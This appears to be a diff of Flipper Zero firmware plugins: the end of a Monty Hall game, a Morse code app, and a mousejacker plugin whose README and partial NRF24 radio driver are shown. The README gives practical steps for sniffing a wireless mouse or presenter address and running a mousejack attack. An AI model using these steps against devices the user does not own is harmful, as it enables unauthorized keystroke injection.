elements_button_center(canvas, "Center");
elements_button_right(canvas, "Right");
}
if(monty_state->game_state == RoundThree) {
if(monty_state->door_state.doors[0].isSelected) {
elements_button_left(canvas, "Keep");
if(!monty_state->door_state.doors[1].isOpen) {
elements_button_center(canvas, "Switch");
} else {
elements_button_right(canvas, "Switch");
}
} else if(monty_state->door_state.doors[1].isSelected) {
elements_button_center(canvas, "Keep");
if(!monty_state->door_state.doors[0].isOpen) {
elements_button_left(canvas, "Switch");
} else {
elements_button_right(canvas, "Switch");
}
} else if(monty_state->door_state.doors[2].isSelected) {
elements_button_right(canvas, "Keep");
if(!monty_state->door_state.doors[0].isOpen) {
elements_button_left(canvas, "Switch");
} else {
elements_button_center(canvas, "Switch");
}
}
}
if(monty_state->game_state == RoundFour) {
elements_button_center(canvas, "Reveal");
}
if(monty_state->game_state == GameOver) {
canvas_draw_str(canvas, 16, SCREEN_HEIGHT - 5, "Hold center to restart");
}
}
static void montyhall_render_callback(Canvas* const canvas, void* ctx) {
const MontyState* monty_state = acquire_mutex((ValueMutex*)ctx, 25);
if(monty_state == NULL) {
return;
}
canvas_clear(canvas);
canvas_set_color(canvas, ColorBlack);
draw_top(canvas, monty_state);
draw_doors(canvas, monty_state);
draw_bottom(canvas, monty_state);
release_mutex((ValueMutex*)ctx, monty_state);
}
static void montyhall_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
furi_message_queue_put(event_queue, input_event, FuriWaitForever);
}
int32_t montyhall_game_app(void* p) {
UNUSED(p);
int32_t return_code = 0;
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
MontyState* monty_state = malloc(sizeof(MontyState));
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, monty_state, sizeof(MontyState))) {
return_code = 255;
goto free_and_exit;
}
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, montyhall_render_callback, &state_mutex);
view_port_input_callback_set(view_port, montyhall_input_callback, event_queue);
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
// Start the game
montyhall_game_init_state(monty_state);
InputEvent event;
for(bool loop = true; loop;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
MontyState* monty_state = (MontyState*)acquire_mutex_block(&state_mutex);
if(event_status == FuriStatusOk) {
if(event.type == InputTypeShort) {
switch(event.key) {
case InputKeyUp: /* <debug>
if(monty_state->game_state == RoundOne) {
monty_state->score++;
} else if(monty_state->game_state == RoundTwo) {
monty_state->score += 2;
} else if(monty_state->game_state == RoundThree) {
monty_state->score += 3;
} else if(monty_state->game_state == RoundFour) {
monty_state->score += 4;
} else if(monty_state->game_state == GameOver) {
monty_state->score += 5;
} </debug> */
break;
case InputKeyDown: /* <debug>
if(monty_state->game_state == RoundOne) {
monty_state->score--;
} else if(monty_state->game_state == RoundTwo) {
monty_state->score -= 2;
} else if(monty_state->game_state == RoundThree) {
monty_state->score -= 3;
} else if(monty_state->game_state == RoundFour) {
monty_state->score -= 4;
} else if(monty_state->game_state == GameOver) {
monty_state->score -= 5;
} </dubug> */
break;
case InputKeyLeft:
if(monty_state->game_state == RoundOne) {
selectDoor(monty_state, 0);
if(monty_state->game_state == RoundTwo) {
revealBadDoor(monty_state);
monty_state->game_state = RoundThree;
}
} else if(monty_state->game_state == RoundThree) {
if(monty_state->door_state.doors[0].isSelected) {
monty_state->door_state.didSwitch = false;
} else if(!monty_state->door_state.doors[0].isOpen) {
monty_state->door_state.didSwitch = true;
selectDoor(monty_state, 0);
}
monty_state->game_state = RoundFour;
}
break;
case InputKeyOk:
if(monty_state->game_state == RoundOne) {
selectDoor(monty_state, 1);
if(monty_state->game_state == RoundTwo) {
revealBadDoor(monty_state);
monty_state->game_state = RoundThree;
}
} else if(monty_state->game_state == RoundThree) {
if(monty_state->door_state.doors[1].isSelected) {
monty_state->door_state.didSwitch = false;
} else if(!monty_state->door_state.doors[1].isOpen) {
monty_state->door_state.didSwitch = true;
selectDoor(monty_state, 1);
}
monty_state->game_state = RoundFour;
} else if(monty_state->game_state == RoundFour) {
revealDoors_updateScore(monty_state);
monty_state->game_state = GameOver;
}
break;
case InputKeyRight:
if(monty_state->game_state == RoundOne) {
selectDoor(monty_state, 2);
if(monty_state->game_state == RoundTwo) {
revealBadDoor(monty_state);
monty_state->game_state = RoundThree;
}
} else if(monty_state->game_state == RoundThree) {
if(monty_state->door_state.doors[2].isSelected) {
monty_state->door_state.didSwitch = false;
} else if(!monty_state->door_state.doors[2].isOpen) {
monty_state->door_state.didSwitch = true;
selectDoor(monty_state, 2);
}
monty_state->game_state = RoundFour;
}
break;
case InputKeyBack:
loop = false;
break;
default:
break;
}
}
} else if(event.type == InputTypeLong) {
if(event.key == InputKeyOk && monty_state->game_state == GameOver) {
montyhall_game_init_state(monty_state);
}
}
view_port_update(view_port);
release_mutex(&state_mutex, monty_state);
}
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close(RECORD_GUI);
view_port_free(view_port);
delete_mutex(&state_mutex);
free_and_exit:
free(monty_state);
furi_message_queue_free(event_queue);
return return_code;
}
applications/plugins/morse_code/application.fam
+15
View File
@@ -0,0 +1,15 @@
App(
appid="Morse_Code",
name="Morse Code",
apptype=FlipperAppType.EXTERNAL,
entry_point="morse_code_app",
cdefines=["APP_MORSE_CODE"],
requires=[
"gui",
],
stack_size=1 * 1024,
order=20,
fap_icon="morse_code_10px.png",
fap_category="Music"
)
applications/plugins/morse_code/morse_code.c
+166
View File
@@ -0,0 +1,166 @@
#include "morse_code_worker.h"
#include <furi.h>
#include <gui/gui.h>
#include <gui/elements.h>
#include <input/input.h>
#include <stdlib.h>
#include <furi_hal.h>
#include <string.h>
static const float MORSE_CODE_VOLUMES[] = {0, .25, .5, .75, 1};
typedef struct {
FuriString* words;
uint8_t volume;
uint32_t dit_delta;
} MorseCodeModel;
typedef struct {
MorseCodeModel* model;
FuriMutex** model_mutex;
FuriMessageQueue* input_queue;
ViewPort* view_port;
Gui* gui;
MorseCodeWorker* worker;
} MorseCode;
static void render_callback(Canvas* const canvas, void* ctx) {
MorseCode* morse_code = ctx;
furi_check(furi_mutex_acquire(morse_code->model_mutex, FuriWaitForever) == FuriStatusOk);
// border around the edge of the screen
canvas_set_font(canvas, FontPrimary);
//write words
elements_multiline_text_aligned(
canvas, 64, 30, AlignCenter, AlignCenter, furi_string_get_cstr(morse_code->model->words));
// volume view_port
uint8_t vol_bar_x_pos = 124;
uint8_t vol_bar_y_pos = 0;
const uint8_t volume_h = (64 / (COUNT_OF(MORSE_CODE_VOLUMES) - 1)) * morse_code->model->volume;
canvas_draw_frame(canvas, vol_bar_x_pos, vol_bar_y_pos, 4, 64);
canvas_draw_box(canvas, vol_bar_x_pos, vol_bar_y_pos + (64 - volume_h), 4, volume_h);
//dit bpm
canvas_draw_str_aligned(
canvas,
0,
10,
AlignLeft,
AlignCenter,
furi_string_get_cstr(
furi_string_alloc_printf("Dit: %ld ms", morse_code->model->dit_delta)));
//button info
elements_button_center(canvas, "Press/Hold");
furi_mutex_release(morse_code->model_mutex);
}
static void input_callback(InputEvent* input_event, void* ctx) {
MorseCode* morse_code = ctx;
furi_message_queue_put(morse_code->input_queue, input_event, FuriWaitForever);
}
static void morse_code_worker_callback(FuriString* words, void* context) {
MorseCode* morse_code = context;
furi_check(furi_mutex_acquire(morse_code->model_mutex, FuriWaitForever) == FuriStatusOk);
morse_code->model->words = words;
furi_mutex_release(morse_code->model_mutex);
view_port_update(morse_code->view_port);
}
MorseCode* morse_code_alloc() {
MorseCode* instance = malloc(sizeof(MorseCode));
instance->model = malloc(sizeof(MorseCodeModel));
instance->model->words = furi_string_alloc_set_str("");
instance->model->volume = 3;
instance->model->dit_delta = 150;
instance->model_mutex = furi_mutex_alloc(FuriMutexTypeNormal);
instance->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
instance->worker = morse_code_worker_alloc();
morse_code_worker_set_callback(instance->worker, morse_code_worker_callback, instance);
instance->view_port = view_port_alloc();
view_port_draw_callback_set(instance->view_port, render_callback, instance);
view_port_input_callback_set(instance->view_port, input_callback, instance);
// Open GUI and register view_port
instance->gui = furi_record_open(RECORD_GUI);
gui_add_view_port(instance->gui, instance->view_port, GuiLayerFullscreen);
return instance;
}
void morse_code_free(MorseCode* instance) {
gui_remove_view_port(instance->gui, instance->view_port);
furi_record_close(RECORD_GUI);
view_port_free(instance->view_port);
morse_code_worker_free(instance->worker);
furi_message_queue_free(instance->input_queue);
furi_mutex_free(instance->model_mutex);
free(instance->model);
free(instance);
}
int32_t morse_code_app() {
MorseCode* morse_code = morse_code_alloc();
InputEvent input;
morse_code_worker_start(morse_code->worker);
morse_code_worker_set_volume(
morse_code->worker, MORSE_CODE_VOLUMES[morse_code->model->volume]);
morse_code_worker_set_dit_delta(morse_code->worker, morse_code->model->dit_delta);
while(furi_message_queue_get(morse_code->input_queue, &input, FuriWaitForever) ==
FuriStatusOk) {
furi_check(furi_mutex_acquire(morse_code->model_mutex, FuriWaitForever) == FuriStatusOk);
if(input.key == InputKeyBack && input.type == InputTypeLong) {
furi_mutex_release(morse_code->model_mutex);
break;
} else if(input.key == InputKeyBack && input.type == InputTypeShort) {
morse_code_worker_reset_text(morse_code->worker);
} else if(input.key == InputKeyOk) {
if(input.type == InputTypePress)
morse_code_worker_play(morse_code->worker, true);
else if(input.type == InputTypeRelease)
morse_code_worker_play(morse_code->worker, false);
} else if(input.key == InputKeyUp && input.type == InputTypePress) {
if(morse_code->model->volume < COUNT_OF(MORSE_CODE_VOLUMES) - 1)
morse_code->model->volume++;
morse_code_worker_set_volume(
morse_code->worker, MORSE_CODE_VOLUMES[morse_code->model->volume]);
} else if(input.key == InputKeyDown && input.type == InputTypePress) {
if(morse_code->model->volume > 0) morse_code->model->volume--;
morse_code_worker_set_volume(
morse_code->worker, MORSE_CODE_VOLUMES[morse_code->model->volume]);
} else if(input.key == InputKeyLeft && input.type == InputTypePress) {
if(morse_code->model->dit_delta > 10) morse_code->model->dit_delta -= 10;
morse_code_worker_set_dit_delta(morse_code->worker, morse_code->model->dit_delta);
} else if(input.key == InputKeyRight && input.type == InputTypePress) {
if(morse_code->model->dit_delta >= 10) morse_code->model->dit_delta += 10;
morse_code_worker_set_dit_delta(morse_code->worker, morse_code->model->dit_delta);
}
FURI_LOG_D(
"Input",
"%s %s %ld",
input_get_key_name(input.key),
input_get_type_name(input.type),
input.sequence);
furi_mutex_release(morse_code->model_mutex);
view_port_update(morse_code->view_port);
}
morse_code_worker_stop(morse_code->worker);
morse_code_free(morse_code);
return 0;
}
applications/plugins/morse_code/morse_code_10px.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 168 B

applications/plugins/morse_code/morse_code_worker.c
+176
View File
@@ -0,0 +1,176 @@
#include "morse_code_worker.h"
#include <furi_hal.h>
#include <lib/flipper_format/flipper_format.h>
#define TAG "MorseCodeWorker"
#define MORSE_CODE_VERSION 0
//A-Z0-1
const char morse_array[36][6] = {".-", "-...", "-.-.", "-..", ".", "..-.",
"--.", "....", "..", ".---", "-.-", ".-..",
"--", "-.", "---", ".--.", "--.-", ".-.",
"...", "-", "..-", "...-", ".--", "-..-",
"-.--", "--..", ".----", "..---", "...--", "....-",
".....", "-....", "--...", "---..", "----.", "-----"};
const char symbol_array[36] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'};
struct MorseCodeWorker {
FuriThread* thread;
MorseCodeWorkerCallback callback;
void* callback_context;
bool is_running;
bool play;
float volume;
uint32_t dit_delta;
FuriString* buffer;
FuriString* words;
};
void morse_code_worker_fill_buffer(MorseCodeWorker* instance, uint32_t duration) {
FURI_LOG_D("MorseCode: Duration", "%ld", duration);
if(duration <= instance->dit_delta)
furi_string_push_back(instance->buffer, *DOT);
else if(duration <= (instance->dit_delta * 3))
furi_string_push_back(instance->buffer, *LINE);
if(furi_string_size(instance->buffer) > 5) furi_string_reset(instance->buffer);
FURI_LOG_D("MorseCode: Buffer", "%s", furi_string_get_cstr(instance->buffer));
}
void morse_code_worker_fill_letter(MorseCodeWorker* instance) {
if(furi_string_size(instance->words) > 63) furi_string_reset(instance->words);
for(size_t i = 0; i < sizeof(morse_array); i++) {
if(furi_string_cmp_str(instance->buffer, morse_array[i]) == 0) {
furi_string_push_back(instance->words, symbol_array[i]);
break;
}
}
furi_string_reset(instance->buffer);
FURI_LOG_D("MorseCode: Words", "%s", furi_string_get_cstr(instance->words));
}
static int32_t morse_code_worker_thread_callback(void* context) {
furi_assert(context);
MorseCodeWorker* instance = context;
bool was_playing = false;
uint32_t start_tick = 0;
uint32_t end_tick = 0;
bool pushed = true;
bool spaced = true;
while(instance->is_running) {
furi_delay_ms(SLEEP);
if(instance->play) {
if(!was_playing) {
start_tick = furi_get_tick();
if(furi_hal_speaker_acquire(1000)) {
furi_hal_speaker_start(FREQUENCY, instance->volume);
}
was_playing = true;
}
} else {
if(was_playing) {
pushed = false;
spaced = false;
if(furi_hal_speaker_is_mine()) {
furi_hal_speaker_stop();
furi_hal_speaker_release();
}
end_tick = furi_get_tick();
was_playing = false;
morse_code_worker_fill_buffer(instance, end_tick - start_tick);
start_tick = 0;
}
}
if(!pushed) {
if(end_tick + (instance->dit_delta * 3) < furi_get_tick()) {
//NEW LETTER
morse_code_worker_fill_letter(instance);
if(instance->callback)
instance->callback(instance->words, instance->callback_context);
pushed = true;
}
}
if(!spaced) {
if(end_tick + (instance->dit_delta * 7) < furi_get_tick()) {
//NEW WORD
furi_string_push_back(instance->words, *SPACE);
if(instance->callback)
instance->callback(instance->words, instance->callback_context);
spaced = true;
}
}
}
return 0;
}
MorseCodeWorker* morse_code_worker_alloc() {
MorseCodeWorker* instance = malloc(sizeof(MorseCodeWorker));
instance->thread = furi_thread_alloc();
furi_thread_set_name(instance->thread, "MorseCodeWorker");
furi_thread_set_stack_size(instance->thread, 1024);
furi_thread_set_context(instance->thread, instance);
furi_thread_set_callback(instance->thread, morse_code_worker_thread_callback);
instance->play = false;
instance->volume = 1.0f;
instance->dit_delta = 150;
instance->buffer = furi_string_alloc_set_str("");
instance->words = furi_string_alloc_set_str("");
return instance;
}
void morse_code_worker_free(MorseCodeWorker* instance) {
furi_assert(instance);
furi_string_free(instance->buffer);
furi_string_free(instance->words);
furi_thread_free(instance->thread);
free(instance);
}
void morse_code_worker_set_callback(
MorseCodeWorker* instance,
MorseCodeWorkerCallback callback,
void* context) {
furi_assert(instance);
instance->callback = callback;
instance->callback_context = context;
}
void morse_code_worker_play(MorseCodeWorker* instance, bool play) {
furi_assert(instance);
instance->play = play;
}
void morse_code_worker_set_volume(MorseCodeWorker* instance, float level) {
furi_assert(instance);
instance->volume = level;
}
void morse_code_worker_set_dit_delta(MorseCodeWorker* instance, uint32_t delta) {
furi_assert(instance);
instance->dit_delta = delta;
}
void morse_code_worker_reset_text(MorseCodeWorker* instance) {
furi_assert(instance);
furi_string_reset(instance->buffer);
furi_string_reset(instance->words);
}
void morse_code_worker_start(MorseCodeWorker* instance) {
furi_assert(instance);
furi_assert(instance->is_running == false);
instance->is_running = true;
furi_thread_start(instance->thread);
FURI_LOG_D("MorseCode: Start", "is Running");
}
void morse_code_worker_stop(MorseCodeWorker* instance) {
furi_assert(instance);
furi_assert(instance->is_running == true);
instance->is_running = false;
furi_thread_join(instance->thread);
FURI_LOG_D("MorseCode: Stop", "Stop");
}
applications/plugins/morse_code/morse_code_worker.h
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <furi.h>
#define FREQUENCY 261.63f
#define SLEEP 10
#define DOT "."
#define LINE "-"
#define SPACE " "
typedef void (*MorseCodeWorkerCallback)(FuriString* buffer, void* context);
typedef struct MorseCodeWorker MorseCodeWorker;
MorseCodeWorker* morse_code_worker_alloc();
void morse_code_worker_free(MorseCodeWorker* instance);
void morse_code_worker_set_callback(
MorseCodeWorker* instance,
MorseCodeWorkerCallback callback,
void* context);
void morse_code_worker_start(MorseCodeWorker* instance);
void morse_code_worker_stop(MorseCodeWorker* instance);
void morse_code_worker_play(MorseCodeWorker* instance, bool play);
void morse_code_worker_reset_text(MorseCodeWorker* instance);
void morse_code_worker_set_volume(MorseCodeWorker* instance, float level);
void morse_code_worker_set_dit_delta(MorseCodeWorker* instance, uint32_t delta);
applications/plugins/mousejacker/README.md
+62
View File
@@ -0,0 +1,62 @@
# flipperzero-nrf24
An [NRF24](https://www.sparkfun.com/datasheets/Components/SMD/nRF24L01Pluss_Preliminary_Product_Specification_v1_0.pdf) driver for the [Flipper Zero](https://flipperzero.one/) device. The NRF24 is a popular line of 2.4GHz radio transceivers from Nordic Semiconductors. This library is not currently complete, but functional.
## Warning
This repo contains two Flipper Zero apps that utilize the NRF24 driver to sniff for NRF24 addresses and perform mousejack attacks. These apps are for **educational purposes** only. Please use this code responsibly and only use these apps on your own equipment.
## Acknowledgments
The NRF24 sniffing technique was discovered and shared by Travis Goodspeed in [his blog](http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html).
The mousejack vulnerabilities were discovered and reported by Marc Newlin, see [the blog](https://www.bastille.net/research/vulnerabilities/mousejack/technical-details) for technical details.
Much of the driver code was inspired by [RadioHead's Arduino library](https://www.airspayce.com/mikem/arduino/RadioHead/classRH__NRF24.html).
Much of the mousejack code was inspired by the [Jackit project](https://github.com/insecurityofthings/jackit).
## PinOut from from NoComp/Frog
<img src="https://media.discordapp.net/attachments/937479784726949900/994495234618687509/unknown.png?width=567&height=634">
# Mousejack / NRF24 pinout by UberGuidoZ
2/A7 on FZ goes to MOSI/6 on nrf24l01<br>
3/A6 on FZ goes to MISO/7 on nrf24l01<br>
4/A4 on FZ goes to CSN/4 on nrf24l01<br>
5/B3 on FZ goes to SCK/5 on nrf24l01<br>
6/B2 on FZ goes to CE/3 on nrf24l01<br>
8/GND on FZ goes to GND/1 on nrf24l01<br>
9/3V3 on FZ goes to VCC/2 on nrf24l01<br>
IRQ/8 is left disconnected on nrf24l01
![NRF_Pins](https://user-images.githubusercontent.com/57457139/178093717-39effd5c-ebe2-4253-b13c-70517d7902f9.png)
If the nRF module is acting a bit flakey, try adding a capacitor to the vcc/gnd lines! I've not tried the Plus model so it may have a bigger need for a cap. Otherwise, I haven't had any major issues. Anything from a 3.3 uF to 10 uF should do. (Watch your positive/negative placement! Negative to ground.) I learned if you wanna get fancy, include a 0.1 uF cap in parallel. The 3.3 uF to 10 uF will respond to slow freq changes while the 0.1 uF will respond to the high freq switching spikes that the larger one cannot. That said, a single 10 uF will likely suffice for the Mousejack attack. ¯\\\_(ツ)_/¯
![NRF_Capacitor](https://user-images.githubusercontent.com/57457139/178169959-d030f9a6-d2ac-46af-af8b-470ff092c8a7.jpg)
Selfmade NRF24 breakoutboard:
![NRF_soldered](https://user-images.githubusercontent.com/22019133/183419103-9c40b28b-8152-4212-98e0-9a3358f69518.jpeg)
![NRF_soldered2](https://user-images.githubusercontent.com/22019133/183419176-26c0359b-0ecb-4015-8f8b-3a75209502ba.jpeg)
## Practical hints from einstein2150
If you are not successfull with the NRF Sniff Plugin you can try to get the MAC of the device with the crazyradio pa USB dongle. Have a look here: https://github.com/SySS-Research/nrf24-playset
A sample output of the NRF-Research script could be like
```
[2022-08-05 13:28:56.366] Found nRF24 device with address 38:24:93:C0:07 on channel 75\
[2022-08-05 13:28:56.371] Checking communication\
[2022-08-05 13:28:59.088] Scan for nRF24 device\
[2022-08-05 13:28:59.097] Actively searching for address 07:C0:93:24:38\
```
Be carefull with the byte-order using in mousejacker! The correct byte order is the reverse-byteorder. In my example the reversed one is ```07:C0:93:24:38``` for my Logitech R400 presenter.
The next thing which could make trouble is the datarate. In my case the Logitech-device is only responding at 2Mbit. Commands at 1Mbit are not detected.
Now its time to write all the relevant information in the config file. In my case you are creating a file ```addresses.txt``` in the SD directory of ```/nrfsniff```. The file content corresponding to the results of the research is ```07C0932438,2``` representing the reversed byte order of the MAC and the comma-separated datarate.
Start the Mouse Jacker plugin and select the prepared ```addresses.txt```. If everything is alright you are starting with your MAC ready for attack:
![mousejacker start-screen](https://user-images.githubusercontent.com/22019133/183419533-ef5c8df1-e328-45e3-b85d-376513d69c82.jpeg)
If you have troube you can check if a datarate of 1 Mbit will help. Change ```07C0932438,2``` to ```07C0932438,1``` in this case. Another problem in the practical use is electromagnetical noise. In my case the external USB-3.1-Hub creating massive noise in the 2,4 Ghz-Frequency around a distance of 5 cm. Try using a long USB connection-cable for the receiver. In my case the response of the attack raises significant because the signals of the NRF-breakoutboard is no more covered with noise.
applications/plugins/mousejacker/application.fam
+24
View File
@@ -0,0 +1,24 @@
App(
appid="NRF24_Mouse_Jacker",
name="[NRF24] Mouse Jacker",
apptype=FlipperAppType.EXTERNAL,
entry_point="mousejacker_app",
cdefines=["APP_MOUSEJACKER"],
requires=[
"gui",
"dialogs",
],
stack_size=2 * 1024,
order=50,
fap_icon="mouse_10px.png",
fap_category="GPIO",
fap_icon_assets="images",
fap_private_libs=[
Lib(
name="nrf24",
sources=[
"nrf24.c",
],
),
],
)
applications/plugins/mousejacker/icons/badusb_10px.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 576 B

applications/plugins/mousejacker/icons/sub1_10px.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 299 B

applications/plugins/mousejacker/images/badusb_10px.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 576 B

applications/plugins/mousejacker/images/sub1_10px.png
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 299 B

applications/plugins/mousejacker/lib/nrf24/nrf24.c
+520
View File
@@ -0,0 +1,520 @@
#include "nrf24.h"
#include <furi.h>
#include <furi_hal.h>
#include <furi_hal_resources.h>
#include <assert.h>
#include <string.h>
void nrf24_init() {
furi_hal_spi_bus_handle_init(nrf24_HANDLE);
furi_hal_spi_acquire(nrf24_HANDLE);
furi_hal_gpio_init(nrf24_CE_PIN, GpioModeOutputPushPull, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_write(nrf24_CE_PIN, false);
}
void nrf24_deinit() {
furi_hal_spi_release(nrf24_HANDLE);
furi_hal_spi_bus_handle_deinit(nrf24_HANDLE);
furi_hal_gpio_write(nrf24_CE_PIN, false);
furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
void nrf24_spi_trx(
FuriHalSpiBusHandle* handle,
uint8_t* tx,
uint8_t* rx,
uint8_t size,
uint32_t timeout) {
UNUSED(timeout);
furi_hal_gpio_write(handle->cs, false);
furi_hal_spi_bus_trx(handle, tx, rx, size, nrf24_TIMEOUT);
furi_hal_gpio_write(handle->cs, true);
}
uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data) {
uint8_t tx[2] = {W_REGISTER | (REGISTER_MASK & reg), data};
uint8_t rx[2] = {0};
nrf24_spi_trx(handle, tx, rx, 2, nrf24_TIMEOUT);
return rx[0];
}
uint8_t
nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) {
uint8_t tx[size + 1];
uint8_t rx[size + 1];
memset(rx, 0, size + 1);
tx[0] = W_REGISTER | (REGISTER_MASK & reg);
memcpy(&tx[1], data, size);
nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT);
return rx[0];
}
uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) {
uint8_t tx[size + 1];
uint8_t rx[size + 1];
memset(rx, 0, size + 1);
tx[0] = R_REGISTER | (REGISTER_MASK & reg);
memset(&tx[1], 0, size);
nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT);
memcpy(data, &rx[1], size);
return rx[0];
}
uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle) {
uint8_t tx[] = {FLUSH_RX};
uint8_t rx[] = {0};
nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT);
return rx[0];
}
uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle) {
uint8_t tx[] = {FLUSH_TX};
uint8_t rx[] = {0};
nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT);
return rx[0];
}
uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle) {
uint8_t maclen;
nrf24_read_reg(handle, REG_SETUP_AW, &maclen, 1);
maclen &= 3;
return maclen + 2;
}
uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen) {
assert(maclen > 1 && maclen < 6);
uint8_t status = 0;
status = nrf24_write_reg(handle, REG_SETUP_AW, maclen - 2);
return status;
}
uint8_t nrf24_status(FuriHalSpiBusHandle* handle) {
uint8_t status;
uint8_t tx[] = {R_REGISTER | (REGISTER_MASK & REG_STATUS)};
nrf24_spi_trx(handle, tx, &status, 1, nrf24_TIMEOUT);
return status;
}
uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle) {
uint8_t setup = 0;
uint32_t rate = 0;
nrf24_read_reg(handle, REG_RF_SETUP, &setup, 1);
setup &= 0x28;
if(setup == 0x20)
rate = 250000; // 250kbps
else if(setup == 0x08)
rate = 2000000; // 2Mbps
else if(setup == 0x00)
rate = 1000000; // 1Mbps
return rate;
}
uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate) {
uint8_t r6 = 0;
uint8_t status = 0;
if(!rate) rate = 2000000;
nrf24_read_reg(handle, REG_RF_SETUP, &r6, 1); // RF_SETUP register
r6 = r6 & (~0x28); // Clear rate fields.
if(rate == 2000000)
r6 = r6 | 0x08;
else if(rate == 1000000)
r6 = r6;
else if(rate == 250000)
r6 = r6 | 0x20;
status = nrf24_write_reg(handle, REG_RF_SETUP, r6); // Write new rate.
return status;
}
uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle) {
uint8_t channel = 0;
nrf24_read_reg(handle, REG_RF_CH, &channel, 1);
return channel;
}
uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan) {
uint8_t status;
status = nrf24_write_reg(handle, REG_RF_CH, chan);
return status;
}
uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) {
uint8_t size = 0;
uint8_t status = 0;
size = nrf24_get_maclen(handle);
status = nrf24_read_reg(handle, REG_RX_ADDR_P0, mac, size);
return status;
}
uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) {
uint8_t status = 0;
uint8_t clearmac[] = {0, 0, 0, 0, 0};
nrf24_set_maclen(handle, size);
nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, clearmac, 5);
status = nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, mac, size);
return status;
}
uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) {
uint8_t size = 0;
uint8_t status = 0;
size = nrf24_get_maclen(handle);
status = nrf24_read_reg(handle, REG_TX_ADDR, mac, size);
return status;
}
uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) {
uint8_t status = 0;
uint8_t clearmac[] = {0, 0, 0, 0, 0};
nrf24_set_maclen(handle, size);
nrf24_write_buf_reg(handle, REG_TX_ADDR, clearmac, 5);
status = nrf24_write_buf_reg(handle, REG_TX_ADDR, mac, size);
return status;
}
uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle) {
uint8_t len = 0;
nrf24_read_reg(handle, RX_PW_P0, &len, 1);
return len;
}
uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len) {
uint8_t status = 0;
status = nrf24_write_reg(handle, RX_PW_P0, len);
return status;
}
uint8_t
nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full) {
uint8_t status = 0;
uint8_t size = 0;
uint8_t tx_pl_wid[] = {R_RX_PL_WID, 0};
uint8_t rx_pl_wid[] = {0, 0};
uint8_t tx_cmd[33] = {0}; // 32 max payload size + 1 for command
uint8_t tmp_packet[33] = {0};
status = nrf24_status(handle);
if(status & 0x40) {
if(full)
size = nrf24_get_packetlen(handle);
else {
nrf24_spi_trx(handle, tx_pl_wid, rx_pl_wid, 2, nrf24_TIMEOUT);
size = rx_pl_wid[1];
}
tx_cmd[0] = R_RX_PAYLOAD;
nrf24_spi_trx(handle, tx_cmd, tmp_packet, size + 1, nrf24_TIMEOUT);
nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit.
memcpy(packet, &tmp_packet[1], size);
} else if(status == 0) {
nrf24_flush_rx(handle);
nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit.
}
*packetsize = size;
return status;
}
uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack) {
uint8_t status = 0;
uint8_t tx[size + 1];
uint8_t rx[size + 1];
memset(tx, 0, size + 1);
memset(rx, 0, size + 1);
if(!ack)
tx[0] = W_TX_PAYLOAD_NOACK;
else
tx[0] = W_TX_PAYLOAD;
memcpy(&tx[1], payload, size);
nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT);
nrf24_set_tx_mode(handle);
while(!(status & (TX_DS | MAX_RT))) status = nrf24_status(handle);
if(status & MAX_RT) nrf24_flush_tx(handle);
nrf24_set_idle(handle);
